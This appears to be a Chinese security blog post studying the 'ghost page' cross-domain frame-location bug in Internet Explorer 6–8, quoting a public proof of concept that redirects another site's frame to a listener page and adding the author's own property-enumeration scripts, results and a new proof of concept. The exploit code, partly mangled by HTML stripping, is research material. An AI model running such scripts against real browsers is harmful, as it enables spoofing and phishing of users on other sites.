“鬼页” 继续

为了不落后,也学习下鬼页。
先看下POC
http://sirdarckcat.blogspot.com/2008/05/ghosts-for-ie8-and-ie75730.html
代码:
javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return%20'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);
QZ说 这段代码展示了跨域操作location ,事实也是。
处于好奇和进一步发掘我们遍历了这个 ‘x’ 对象。
代码
<script language="javascript">
function allPrpos(obj) {
      // 遍历对象
      var props = "
 
 
名称
"; for(var p in obj){ if(typeof(obj[p])=="function"){ obj[p](); }else{ try { props+="
"+p + "" + obj[ p ] + "
"; } catch (ex) { props+= "
"+p + "" +ex.message+"
"; } } } document.write(props+" "); } x=open('http://planet.ph4nt0m.org/'); setTimeout(function(){allPrpos(x.frames[0])},5000); </script>

结果:
名称
onbeforeunloadnull
onafterprintnull
top[object]
location
parent[object]
offscreenBufferingAccess is denied.
frameElementAccess is denied.
onerrornull
screenAccess is denied.
eventAccess is denied.
clipboardDataAccess is denied.
onresizenull
defaultStatusAccess is denied.
onblurnull
window[object]
onloadnull
onscrollnull
screenTopAccess is denied.
onfocusnull
OptionAccess is denied.
length0
onbeforeprintnull
frames[object]
self[object]
clientInformationAccess is denied.
XMLHttpRequestAccess is denied.
externalAccess is denied.
screenLeftAccess is denied.
openerundefined
onunloadnull
documentAccess is denied.
closedfalse
historyAccess is denied.
ImageAccess is denied.
navigatorAccess is denied.
statusAccess is denied.
onhelpnull
nameAccess is denied.
除开 on开头的一些事件外,只有下面几个可以使用。
top[object]
location
parent[object]
window[object]
length0
closedfalse
也就是说 POC代码中的x.frames[0].location 有据可依。我们继续测试下是否只有 '鬼页'的
x.frames[0].location 可控制呢,简单修改下代码遍历 iframe 对象:
  <script language="javascript">


function allPrpos(obj) {
      // 遍历对象
      var props = "
 
 
名称
"; for(var p in obj){ if(typeof(obj[p])=="function"){ obj[p](); }else{ try { props+="
"+p + "" + obj[ p ] + "
"; } catch (ex) { props+= "
"+p + "" +ex.message+"
"; } } } document.write(props+" "); } setTimeout(function(){allPrpos(document.frames[0].frames[0])},5000); </script>
id="frm" src="http://planet.ph4nt0m.org/" width="80%" height="100%">
 
同样得到可访问对象  location
top[object]
location
parent[object]

新的POC:

 <script language="javascript">

setTimeout(function(){document.frames[0].frames[0].location=new location("//www.cncert.net")},5000);
</script>


id="frm" src="http://planet.ph4nt0m.org/" width="80%" height="100%">

最后的测试结果是 在IE7/6 可以用本文提到的方式控制子frame的 location ,却无法执行伪协议,待进一步测试。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值